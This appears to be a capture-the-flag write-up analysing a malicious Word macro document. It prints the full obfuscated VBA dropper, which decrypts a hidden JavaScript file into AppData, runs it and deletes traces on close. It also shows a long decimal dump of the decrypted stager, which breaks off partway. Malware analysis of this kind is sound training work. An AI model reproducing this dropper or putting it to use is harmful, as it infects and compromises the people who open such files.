Game Invitation

140KB

Challenge Description :

In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: "Join The Fray: Embrace the Challenge." But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?

we have a word document and in ctfs its usually an obfuscated vba macro. we can open the macro either using olevba or using microsoft office itself.

┌──(kali㉿kali)-[~]
└─$ file invitation.docm                               
invitation.docm: Microsoft Word 2007+
 
┌──(kali㉿kali)-[~]
└─$ olevba invitation.docm
-------------------------------------------------------------------------------
FILE: invitation.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas 
in file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Public IAiiymixt As String
Public kWXlyKwVj As String


Function JFqcfEGnc(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
JFqcfEGnc = True
End Function

Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
aMUsvgOin.DeleteFile kWXlyKwVj & "\*.*", True
Set aMUsvgOin = Nothing
End Sub

Sub AutoOpen()
On Error GoTo MnOWqnnpKXfRO
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then

Else

Dim gIvqmZwiW
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
gIvqmZwiW = FreeFile
Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
Dim CbkQJVeAG() As Byte
ReDim CbkQJVeAG(file_length)
Get #gIvqmZwiW, 1, CbkQJVeAG
Dim SwMbxtWpP As String
SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim vTxAnSEFH
    Set vTxAnSEFH = CreateObject("vbscript.regexp")
    vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
    Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count = 0 Then
GoTo MnOWqnnpKXfRO
End If
For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 13082
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows"
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
kWXlyKwVj = Environ("appdata")
End If
Set aMUsvgOin = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
IAiiymixt = kWXlyKwVj & "\" & "mailform.js"
Open (IAiiymixt) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
End If
End Sub

let's open the word document using microsoft office 2007 or any other version and make sure to enable content so we can run it and debug the code at runtime

running the code instruction by instruction by putting a breakpoint at the start of the code we notice that it's comparing

chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then
Else
...
<IMPORTANT PART OF THE CODE>

since my computer doesn't contain the domain GAMEMASTERS.local that means it will skip executing the important part of the code which is not good for analyzing the macro so we will change the condition of the comparaison

If chkDomain = strUserDomain Then

first thing we can see that its running this command at the bottom

Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"

so let's print the value of IAiiymixt by using Debug.Print utility in vba

Debug.Print """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"

and we can see that its a javascript file path, so its running the js file mailform.js and passing the argument vF8rdgMHKBrvCoCp0ulm to it

"C:\Users\azer\AppData\Roaming\Microsoft\Windows\mailform.js"

now we have to find the content of the file mailform.js

we can see that its taking an array of 13082 values Wk4o3X7x1134j and performes xor on it so we will print all its values after being decrypted and we can see that the output is decimal values

Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 13082
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
    Dim values As String
    Dim i As Long
    
    ' Initialize the string with the first value
    values = Trim(Str(Wk4o3X7x1134j(1))) ' Convert the first value to string and trim any leading/trailing spaces
    
    ' Append the rest of the values with a space in between
    For i = 0 To 13082 ' Assuming the array contains 13082 elements
        values = values & " " & Trim(Str(Wk4o3X7x1134j(i))) ' Convert each value to string and trim any leading/trailing spaces
    Next i
    
    ' Print the values
    Debug.Print values

and here is the output of printing all values of the array Wk4o3X7x1134j

118 97 114 32 108 86 107 121 61 87 83 99 114 105 112 116 46 65 114 103 117 109 101 110 116 115 59 118 97 114 32 68 65 83 122 61 108 86 107 121 40 48 41 59 118 97 114 32 73 119 108 104 61 108 121 69 75 40 41 59 73 119 108 104 61 74 114 118 83 40 73 119 108 104 41 59 73 119 108 104 61 120 82 54 56 40 68 65 83 122 44 73 119 108 104 41 59 101 118 97 108 40 73 119 108 104 41 59 102 117 110 99 116 105 111 110 32 97 102 53 81 40 114 41 123 118 97 114 32 97 61 114 46 99 104 97 114 67 111 100 101 65 116 40 48 41 59 105 102 40 97 61 61 61 52 51 124 124 97 61 61 61 52 53 41 114 101 116 117 114 110 32 54 50 59 105 102 40 97 61 61 61 52 55 124 124 97 61 61 61 57 53 41 114 101 116 117 114 110 32 54 51 59 105 102 40 97 60 52 56 41 114 101 116 117 114 110 45 49 59 105 102 40 97 60 52 56 43 49 48 41 114 101 116 117 114 110 32 97 45 52 56 43 50 54 43 50 54 59 105 102 40 97 60 54 53 43 50 54 41 114 101 116 117 114 110 32 97 45 54 53 59 105 102 40 97 60 57 55 43 50 54 41 114 101 116 117 114 110 32 97 45 57 55 43 50 54 125 102 117 110 99 116 105 111 110 32 74 114 118 83 40 114 41 123 118 97 114 32 97 61 34 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 48 49 50 51 52 53 54 55 56 57 43 47 34 59 118 97 114 32 116 59 118 97 114 32 108 59 118 97 114 32 104 59 105 102 40 114 46 108 101 110 103 116 104 37 52 62 48 41 114 101 116 117 114 110 59 118 97 114 32 117 61 114 46 108 101 110 103 116 104 59 118 97 114 32 103 61 114 46 99 104 97 114 65 116 40 117 45 50 41 61 61 61 34 61 34 63 50 58 114 46 99 104 97 114 65 116 40 117 45 49 41 61 61 61 34 61 34 63 49 58 48 59 118 97 114 32 110 61 110 101 119 32 65 114 114 97 121 40 114 46 108 101 110 103 116 104 42 51 47 52 45 103 41 59 118 97 114 32 105 61 103 62 48 63 114 46 108 101 110 103 116 104 45 52 58 114 46 108 101 110 103 116 104 59 118 97 114 32 122 61 48 59 102 117 110 99 116 105 111 110 32 98 40 114 41 123 110 91 122 43 43 93 61 114 125 102 111 114 40 116 61 48 44 108 61 48 59 116 60 105 59 116 43 61 52 44 108 43 61 51 41 123 104 61 97 102 53 81 40 114 46 99 104 97 114 65 116 40 116 41 41 60 60 49 56 124 97 102 53 81 40 114 46 99 104 97 114 65 116 40 116 43 49 41 41 60 60 49 50 124 97 102 53 81 40 114 46 99 104 97 114 65 116 40 116 43 50 41 41 60 60 54 124 97 102 53 81 40 114 46 99 104 97 114 65 116 40 116 43 51 41 41 59 98 40 40 104 38 49 54 55 49 49 54 56 48 41 62 62 49 54 41 59 98 40 40 104 38 54 53 50 56 48 41 62 62 56 41 59 98 40 104 38 50 53 53 41 125 105 102 40 103 61 61 61 50 41 123 104 61 97 102 53 81 40 114 46 99 104 97 114 65 116 40 116 41 41 60 60 50 124 97 102 53 81 40 114 46 99 104 97 114 65 116 40 116 43 49 41 41 62 62 52 59 98 40 104 38 50 53 53 41 125 101 108 115 101 32 105 102 40 103 61 61 61 49 41 123 104 61 97 102 53 81 40 114 46 99 104 97 114 65 116 40 116 41 41 60 60 49 48 124 97 102 53 81 40 114 46 99 104 97 114 65 116 40 116 43 49 41 41 60 60 52 124 97 102 53 81 40 114 46 99 104 97 114 65 116 40 116 43 50 41 41 62 62 50 59 98 40 104 62 62
 56 38 50 53 53 41 59 98 40 104 38 50 53 53 41 125 114 101 116 117 114 110 32 110 125 102 117 110 99 116 105 111 110 32 120 82 54 56 40 114 44 97 41 123 118 97 114 32 116 61 91 93 59 118 97 114 32 108 61 48 59 118 97 114 32 104 59 118 97 114 32 117 61 34 34 59 102 111 114 40 118 97 114 32 103 61 48 59 103 60 50 53 54 59 103 43 43 41 123 116 91 103 93 61 103 125 102 111 114 40 118 97 114 32 103 61 48 59 103 60 50 53 54 59 103 43 43 41 123 108 61 40 108 43 116 91 103 93 43 114 46 99 104 97 114 67 111 100 101 65 116 40 103 37 114 46 108 101 110 103 116 104 41 41 37 50 53 54 59 104 61 116 91 103 93 59 116 91 103 93 61 116 91 108 93 59 116 91 108 93 61 104 125 118 97 114 32 103 61 48 59 118 97 114 32 108 61 48 59 102 111 114 40 118 97 114 32 110 61 48 59 110 60 97 46 108 101 110 103 116 104 59 110 43 43 41 123 103 61 40 103 43 49 41 37 50 53 54 59 108 61 40 108 43 116 91 103 93 41 37 50 53 54 59 104 61 116 91 103 93 59 116 91 103 93 61 116 91 108 93 59 116 91 108 93 61 104 59 117 43 61 83 116 114 105 110 103 46 102 114 111 109 67 104 97 114 67 111 100 101 40 97 91 110 93 94 116 91 40 116 91 103 93 43 116 91 108 93 41 37 50 53 54 93 41 125 114 101 116 117 114 110 32 117 125 102 117 110 99 116 105 111 110 32 108 121 69 75 40 41 123 118 97 114 32 114 61 34 99 120 98 68 88 82 117 79 104 108 78 114 112 107 120 83 55 70 87 81 53 71 53 106 85 67 43 82 105 97 54 108 108 115 109 85 56 110 80 77 80 49 78 68 67 49 85 101 111 106 53 90 69 98 109 70 122 85 98 120 116 113 77 53 85 87 50 43 110 106 47 75 101 50 73 68 71 74 113 84 53 67 106 106 65 111 102 65 102 85 51 107 87 83 101 86 103 122 72 79 73 53 110 115 69 97 102 57 66 98 72 121 78 57 86 118 114 88 84 85 51 85 86 66 81 99 121 88 79 72 57 84 114 114 69 81 72 89 72 122 90 115 113 50 104 116 117 43 82 110 105 102 74 69 120 100 116 72 68 104 77 89 83 66 67 117 113 121 78 99 102 113 56 43 116 120 112 99 121 88 47 97 75 75 65 98 108 121 104 54 73 76 55 53 43 47 114 116 104 98 89 105 47 72 116 118 57 74 106 65 70 98 102 53 85 90 99 79 104 118 78 110 116 100 78 70 98 77 108 57 110
 83 83 84 104 73 43 51 65 113 65 109 77 49 108 57 56 98 114 82 65 48 77 119 78 100 54 114 82 50 108 52 73 103 100 119 54 84 73 70 52 72 114 107 89 47 101 100 87 117 69 53 73 117 76 72 99 98 83 88 49 74 52 85 114 72 115 51 79 76 106 115 118 82 48 49 108 65 67 55 86 74 106 73 103 69 53 75 56 105 109 73 72 52 100 68 43 75 68 98 109 52 80 51 79 122 104 114 97 105 55 99 107 78 119 56 56 109 122 80 102 106 106 101 66 88 66 85 106 109 77 118 113 118 119 65 109 120 120 82 75 57 67 76 121 112 43 108 54 78 52 119 116 103 106 87 102 110 73 118 110 114 79 83 48 73 115 97 116 74 77 83 99 103 69 72 98 53 75 80 121 115 56 72 113 74 85 104 99 76 56 121 78 49 72 75 73 85 68 77 101 76 48 55 101 84 47 111 77 117 68 75 82 48 116 74 98 98 107 99 72 122 54 116 47 52 56 51 75 56 56 86 69 110 43 74 114 106 109 55 68 82 89 105 115 102 98 53 99 69 57 53 102 108 67 55 82 89 73 72 74 108 57 57 50 99 117 72 73 75 103 48 121 107 50 69 81 112 106 86 115 76 101 116 118 118 83 84 103 50 68 71 81 52 48 79 76 87 82 87 90 77 102 109 79 100 77 50 87 108 99 108 112 111 43 77 89 100 114 114 118 69 99 66 115 109 119 52 52 82 85 71 51 74 53 48 66 110 81 98 55 90 73 43 112 111 112 53 48 78 68 67 88 82 117 89 80 101 48 90 109 83 102 105 43 83 104 55 54 98 86 49 122 98 54 100 83 99 119 85 116 118 69 112 71 65 122 80 78 83 51 90 54 104 55 48 50 48 97 102 89 76 48 86 76 53 118 107 112 52 86 98 56 55 111 105 86 54 118 115 66 108 71 52 83 122 53 78 83 97 113 85 72 52 113 43 86 121 48 85 47 73 90 53 80 73 88 83 82 66 115 98 114 65 77 56 109 67 86 53 52 116 72 86 53 49 88 53 113 119 106 120 98 121 118 52 119 70 89 101 90 73 55 50 99 84 79 103 107 87 54 114 103 71 119 47 110 120 110 111 101 43 116 71 104 72 89 107 54 85 56 65 82 48 50 88 104 68 49 111 99 43 54 108 116 51 90 122 111 47 98 81 89 107 57 80 117 97 86 109 47 90 113 57 88 122 70 102 72 115 108 81 51 102 68 78 106 53 53 77 82 90 67 105 99 81 99 97 97 50 89 80 85 98 54 97 105 89 97 109 76 56 49 98 122 99 111 103 108 108 122 89 116 71 76 115 43 115 73 107 108 114 57 82 53 84 110 112 105 111 66 43 75 89 47 76 67 75 49 70 121 71 97 71 67 57 75 106 108 110 75 121 112 51 89 72 84 113 83 51 108 70 48 47 76 81 75 107 66 52 107 86 102 43 74 114 109 66 51 69 121 100 84 112 114 85 72 74 73 49 103 79 97 76 97 85 114 73 106 71 120 106 122 86 74 48 68 98 84 107 88 119 88 115 117 115 77 54 120 101 65 69 86 51 82 117 114 103 48 79 119 97 43 108 105 54 116 65 117 114 70 79 75 53 118 74 97 101 113 81 68 68 113 106 43 54 109 71 122 84 78 78 82 112 65 75 66 72 47 86 122 105 66 109 79 76 56 117 118 89 66 82 117 75 79 52 82 69 83 107 82 122 87 75 104 118 89 119 48 88 115 103 83 81 78 54 78 80 55 110 89 56 73 99 100 99 89 114 106 88 99 80 101 82 102 69 104 65 83 82 56 79 69 81 74 115 106 55 53 57 109 69 47 103 122 105 72 111 116 104 65 74 69 47 104 106 56 84 106 84 70 49 119 83 55 122 110 86 68 82 54 57 113 47 79 109 84 79 99 83 122 74 120 120 51 71 107 73 114 73 68 68 89 70 76 84 87 68 102 48 98 43 43 114 107 82 109 82 43 48 66 88 110 103 106 100 77 74 107 90 100 101 81 67 114 51 78 50 117 87 119 112 89 116 106 49 115 53 80 97 73 52 77 50 117 113 115 107 78 80 50 71 101 72 87 51 87 114 119 53 113 52 47 108 57 67 90 84 69 110 109 103 83 104 51 79 103 114 104 57 70 49 89 99 72 70 76 57 50 103 85 113 48 88 79 54 99 57 77 120 73 81 98 69 113 101 68 88 77 108 55 98 57 70 99 87 107 47 87 80 77 84 43 121 74 118 86 104 104 120 43 101 105 76 105 75 108 52 88 97 83 88 122 87 70 111 71 100 122 73 66 118 56 121 109 69 77 68 89 66 98 102 83 87 112 104 104 75 53 76 85 110 115 68 116 75 107 49 84 53 47 53 51 114 110 78 118 85 79 72 117 114 86 116 110 122 109 78 115 82 104 100 77 89 108 77 111 56 90 119 71 108 120 107 116 99 101 68 121 122 87 112 87 79 100 54 73 50 85 100 75 99 114 66 70 104 104 66 76 76 50 72 90 98 71 97 100 104 73 110 51 107 85 112 111 119 70 86 109 113 116 101 71 118 115 101 67 84 52 87 99 78 68 121 117 108 114 56 121 57 114 73 74 111 52 101 117 80 117 119 66 97 106 65 104 109 68 104 72 82 51 73 114 69 74 73 119 88 122 117 86 90 108 119 47 53 121 121 48 49 65 72 120 117 116 109 48 115 77 55 107 115 48 87 122 111 54 111 48 51
 107 82 47 57 113 52 111 72 121 73 116 53 50 52 66 56 89 89 66 49 97 67 85 52 113 100 105 55 81 51 89 70 109 47 88 82 74 103 79 67 65 116 47 119 97 107 97 90 98 84 85 116 117 119 99 114 112 52 122 102 122 97 66 53 115 105 87 112 100 82 101 110 99 107 53 90 50 119 112 51 103 75 104 89 111 70 82 79 74 52 52 118 117 87 85 81 87 50 68 69 52 72 101 88 56 87 110 72 70 108 87 112 52 78 97 57 104 104 68 103 102 104 115 48 111 85 72 108 47 74 87 83 114 110 48 52 110 118 80 108 57 112 65 73 106 86 47 108 54 122 119 110 98 49 87 105 76 89 113 103 52 70 69 110 43 49 53 72 50 68 77 106 53 89 83 115 70 82 75 53 56 47 80 104 55 90 97 69 84 43 115 117 68 98 117 68 104 109 109 89 47 77 90 113 76 100 72 67 68 75 103 107 122 85 122 79 52 105 53 88 104 48 115 65 83 110 69 76 97 89 113 70 68 108 69 103 115 105 68 89 70 117 76 74 103 56 52 114 111 79 111 103 110 97 112 103 116 71 81 49 57 101 78 66 79 109 97 71 51 119 81 97 103 65 110 100 74 113 70 110 120 117 48 119 52 122 55 120 121 85 112 76 51 98 79 69 106 107 103 121 90 72 83 73 69 106 71 114 77 89 119 66 122 99 85 84 103 48 90 76 102 119 118 102 117 105 70 72 48 76 57 51 49 114 69 118 105 114 55 70 57 73 80 111 52 66 111 101 79 66 54 84 65 47 89 48 115 86 117 112 51 97 107 70 118 103 99 100 98 83 80 111 56 81 56 84 82 76 51 90 110 68 87 51 49 122 100 51 111 67 76 85 114 106 71 119 109 121 68 54 122 98 57 119 67 48 121 114 107 119 98 109 76 54 68 49 56 43 69 53 77 52 49 110 55 80 51 71 82 109 89 43 116 54 73 119 106 99 48 90 76 115 55 50 69 65 50 79 113 106 53 122 52 48 80 68 75 118 54 121 79 97 121 65 110 120 103 51 117 103 50 98 105 89 72 80 110 107 80 74 97 80 79 90 51 109 75 52 70 74 100 103 48 97 98 51 113 87 97 54 43 114 104 57 122 101 43 106 105 113 108 108 82 76 68 112 116 105 78 100 86 54 98 86 104 65 98 85 71 110 118 78 86 119 104 71 79 85 52 89 118 88 115 115 98 115 78 110 53 77 83 57 69 49 84 103 100 56 119 82 43 102 112 111 85 100 122 118 74 55 81 109 74 104 53 104 120 53 113 121 79 110 49 76 72 68 65 116 88 109 67 89 108 100 48 99 90 106 49 98 67 111 43 85 66 103 120 84 54 101 54 85 48 52 107 85 99 105 99 50 66 52 114 98 65 114 65 88 86 117 56 121 78 56 112 43 108 81 101 98 121 66 65 105 120 100 114 66 48 90 115 74 74 116 117 49 69 113 43 119 109 54 115 106 81 104 88 118 75 71 49 114 73 70 115 88 50 85 50 104 52 122 111 70 74 75 90 90 79 104 97 112 114 88 82 48 112 74 89 116 122 69 72 111 118 98 90 49 87 66 73 78 112 99 73 113 121 89 56 56 53 121 115 104 116 51 86 66 54 47 120 99 102 72 89 109 56 49 103 110 54 52 72 88 121 55 113 55 115 86 102 75 116 103 114 112 73 75 77 87 116 54 49 72 71 115 102 103 67 83 53 109 81 90 108 107 117 119 69 103 70 82 100 72 77 72 77 113 69 102 47 121 106 68 120 52 74 75 70 116 88 74 74 108 48 65 98 52 82 89 85 49 74 69 102 120 68 109 43 90 112 82 79 71 49 54 57 49 89 72 82 80 116 54 105 118 53 79 51 108 49 108 74 114 55 76 90 73 65 114 120 73 70 111 115 90 119 74 101 90 47 51 72 79 98 121 68 52 119 120 122 52 118 55 119 43 115 110 90 74 75 107 66 70 116 47 49 117 108 50 100 113 51 100 70 97 49 65 47 120 107 74 102 76 68 88 107 119 77 90 69 104 89 113 107 71 122 75 85 118 113 111 117 48 78 73 55 103 82 47 70 57 84 68 117 104 104 99 49 105 110 77 82 114 120 119 43 121 114 56 57 68 73 81 43 105 73 113 50 117 111 47 69 80 49 51 101 120 76 104 110 83 119 74 114 121 115 56 108 98 71 108 97 79 109 48 100 103 75 112 52 116 108 102 75 78 79 116 87 73 72 50 102 74 90 119 51 100 110 115 83 75 88 120 88 115 67 70 53 112 76 90 102 105 80 56 115 65 75 80 78 106 57 83 79 53 56 83 48 82 83 110 86 67 80 101 74 78 105 122 120 116 99 97 65 101 89 48 111 97 118 50 105 86 72 99 87 88 56 66 100 112 101 83 106 50 49 114 79 108 116 65 84 81 88 119 109 72 109 106 98 119 87 82 69 77 57 50 77 102 86 74 43 75 55 73 117 54 88 89 75 104 80 78 84 118 56 109 56 90 118 78 105 69 87 75 75 117 100 98 90 101 54 78 97 107 121 104 55 49 48 112 48 66 69 89 121 104 113 73 75 82 43 108 110 67 68 69 86 101 76 57 47 70 47 104 47 98 101 77 121 52 104 47 73 89 87 67 48 52 43 56 47 110 82 116 73 82 103 53 100 65 81 87 106 122 54 70 76 66 119 118 49 80 76 54 103 43 120 72 106 56 74 71
 78 48 98 88 119 67 90 43 65 101 110 120 47 68 76 109 99 109 75 115 57 49 105 56 83 43 68 89 53 118 88 118 72 106 80 101 86 122 97 75 47 75 106 110 57 86 50 108 57 43 84 67 118 116 55 75 106 78 120 104 78 104 48 119 48 57 110 48 81 77 53 99 106 102 110 67 118 108 78 77 75 52 51 118 50 112 106 68 120 48 70 107 116 43 82 99 84 54 70 104 105 69 66 103 67 43 48 111 103 51 82 112 50 66 110 54 55 106 87 51 108 88 74 53 52 111 100 100 72 107 109 102 114 112 81 51 87 43 88 80 87 54 100 73 52 66 74 103 117 109 105 88 75 73 109 76 81 89 90 55 47 101 116 65 74 122 122 56 68 113 70 103 47 55 65 66 72 50 75 118 88 52 70 100 74 112 112 116 115 67 115 75 68 120 86 51 108 87 74 81 77 97 105 65 71 119 114 120 112 89 57 119 67 86 111 85 78 98 90 103 116 75 120 107 79 103 112 110 86 111 88 52 78 104 120 89 55 98 78 103 43 110 87 79 116 72 76 66 84 117 122 99 118 85 100 104 97 47 106 54 81 89 67 73 67 54 71 87 52 50 52 54 108 108 69 110 90 86 78 103 113 105 103 111 66 87 75 116 87 84 97 57 52 105 115 86 47 78 115 116 52 115 49 121 49 76 89 87 82 53 90 108 83 103 66 122 103 85 70 55 84 109 82 86 118 50 122 83 56 108 105 43 106 55 80 81 83 103 75 121 103 80 51 72 65 54 97 101 54 66 111 88 105 104 115 87 115 76 43 55 114 83 75 101 48 87 85 56 70 85 105 49 55 70 85 109 57 110 99 113 107 66 82 113 110 109 72 116 43 52 84 116 102 85 81 100 71 56 85 113 121 55 118 79 89 74 113 97 113 106 56 98 66 43 97 66 115 88 68 79 121 82 99 112 52 107 98 55 86 118 48 111 70 79 54 76 52 101 55 55 117 81 99 106 56 76 89 108 68 83 71 48 102 111 72 47 47 68 71 110 102 81 83 88 111 67 98 71 51 53 117 48 69 103 115 120 82 116 88 120 83 47 112 80 120 89 118 72 100 80 119 82 105 43 108 57 82 54 105 118 107 109 52 110 79 120 119 70 75 112 106 118 100 119 68 57 113 66 79 114 88 110 72 57 57 99 104 121 67 108 70 81 87 78 54 72 72 50 82 72 86 102 52 81 87 86 74 118 85 57 120 72 98 67 86 80 70 119 51 102 106 110 84 49 87 110 54 55 76 75 110 106 117 85 119 50 43 83 83 51 81 81 116 69 110 87 50 104 79 66 119 75 116 76 50 70 103 78 85 67 98 57 77 118 72 110 75 48 76
 66 115 119 66 47 43 51 67 98 86 43 77 114 49 106 67 112 117 97 53 71 122 106 72 120 100 87 70 52 82 104 81 48 121 86 90 80 77 110 48 121 50 72 119 57 84 66 122 66 82 83 69 57 76 87 71 67 111 88 79 101 72 77 99 107 77 108 69 89 48 117 114 114 99 54 78 66 98 71 57 83 110 84 109 103 109 105 102 69 43 55 83 105 79 109 77 72 102 106 106 55 99 84 47 90 49 85 119 113 68 113 79 112 43 105 74 90 78 87 102 68 122 99 111 87 99 122 57 107 99 121 52 88 70 118 120 114 86 78 76 87 88 122 111 114 115 69 66 50 119 78 51 81 99 70 67 120 112 102 84 72 86 83 70 71 100 122 55 76 48 48 101 83 56 116 53 99 86 76 77 80 106 108 99 109 100 85 85 82 43 74 43 49 47 55 67 118 51 98 56 55 79 121 76 101 56 118 68 90 90 77 108 86 82 117 82 77 53 86 106 117 74 55 70 103 110 99 71 83 110 52 47 48 81 56 114 99 122 88 107 97 82 88 87 78 74 112 118 48 121 57 67 119 56 82 109 71 104 116 105 120 89 50 82 118 50 54 57 53 66 79 109 43 100 106 67 97 81 100 51 119 86 83 56 86 75 87 118 113 77 65 90 103 85 78 111 72 86 113 57 75 114 86 100 85 51 106 114 76 104 90 98 122 98 54 49 50 81 101 108 120 88 56 43 119 56 86 55 72 113 114 78 71 98 98 106 120 97 49 69 86 112 82 108 54 81 65 73 55 116 99 111 77 116 84 120 112 74 107 72 112 52 117 74 57 79 66 73 102 57 71 90 79 81 65 102 97 121 54 98 97 56 81 117 79 106 89 84 54 103 47 103 57 65 86 43 119 67 72 69 118 56 55 67 104 88 118 108 85 71 120 53 52 67 117 109 56 119 114 100 78 50 113 70 117 66 87 86 119 66 106 116 114 83 48 100 69 108 119 51 108 54 74 110 57 70 97 89 79 108 55 107 54 112 116 53 106 105 103 85 81 102 68 98 76 99 74 105 66 88 90 105 50 53 104 56 47 120 97 108 82 98 87 114 68 113 118 113 88 119 77 100 112 107 120 53 120 105 109 83 72 117 122 107 116 105 77 107 65 111 77 110 51 122 115 119 120 97 98 90 77 77 116 48 72 79 90 118 108 65 87 82 73 103 97 78 51 118 78 76 47 77 120 105 98 120 111 78 80 120 55 55 104 112 70 122 71 102 107 89 105 100 101 68 90 110 106 102 77 43 98 120 50 73 84 81 88 68 109 98 101 52 120 112 120 69 80 115 101 65 102 70 72 105 111 109 72 82 81 52 73 104 117 66 84 122 71 73 111 70 50 51 90 110 57 111 51 54 79 70 74 57 71 66 100 55 53 118 104 108 43 48 111 98 98 114 119 103 115 113 104 99 70 89 70 68 121 53 88 109 98 47 76 80 82 98 68 66 80 76 113 78 53 120 47 55 100 117 75 107 69 68 119 102 73 74 76 89 90 105 57 88 97 90 66 83 47 80 73 89 82 81 83 77 82 99 97 121 47 110 121 47 51 68 90 80 74 51 87 90 110 112 70 70 56 113 99 108 47 110 49 85 98 80 76 103 52 120 99 122 109 113 86 74 70 101 81 113 107 43 81 115 82 67 112 114 104 98 111 43 105 100 119 48 81 105 99 47 54 47 80 105 120 75 77 77 52 107 82 78 54 102 101 109 119 108 104 97 54 76 50 112 84 49 71 67 114 73 116 118 111 75 67 83 103 97 90 82 51 106 77 81 56 89 120 67 48 116 70 54 86 70 103 88 112 88 122 47 118 114 118 53 120 112 115 57 48 98 99 72 105 43 48 80 67 105 43 54 101 68 76 115 119 51 90 110 85 90 43 114 50 47 57 55 50 103 57 51 103 109 69 52 49 82 72 49 74 87 122 56 90 97 103 74 103 52 70 118 76 68 79 121 87 52 77 119 50 76 112 120 51 103 98 81 73 107 57 122 43 49 101 104 82 57 66 53 106 109 109 87 49 77 43 47 76 114 65 72 114 106 106 121 111 51 100 70 85 114 51 71 65 88 72 53 77 109 105 89 77 88 67 88 76 117 81 86 53 76 70 75 106 112 82 48 68 76 121 113 53 89 47 98 68 113 65 98 72 102 90 109 99 117 83 75 98 57 82 103 88 115 48 78 114 67 97 90 122 101 55 67 48 76 83 86 86 97 78 68 114 106 119 75 53 85 115 107 87 111 99 73 72 117 114 67 101 98 102 113 97 48 73 69 84 71 105 121 82 48 97 88 89 80 117 82 72 83 49 78 105 78 111 83 105 56 103 73 55 52 70 47 85 47 117 76 112 122 66 43 87 105 56 47 48 65 88 53 48 98 70 120 103 83 53 76 56 100 85 54 70 81 53 53 88 76 86 43 88 77 50 75 74 85 71 98 100 108 98 76 43 80 117 114 120 98 51 102 53 78 113 71 112 104 82 74 112 101 43 47 75 71 82 73 103 74 114 79 57 89 111 109 120 107 113 122 78 71 66 101 108 107 98 76 111 118 47 48 103 53 88 103 103 112 77 55 47 74 109 111 89 71 65 103 97 84 52 117 80 119 109 78 83 75 87 67 121 103 112 72 78 77 90 84 72 103 98 104 117 54 97 90 87 65 51 55 102 109 75 57 76 49 114 98 87 87 122 85 116 78 69 105 90 113 85 102 110 73 117 66 100 54 50 47
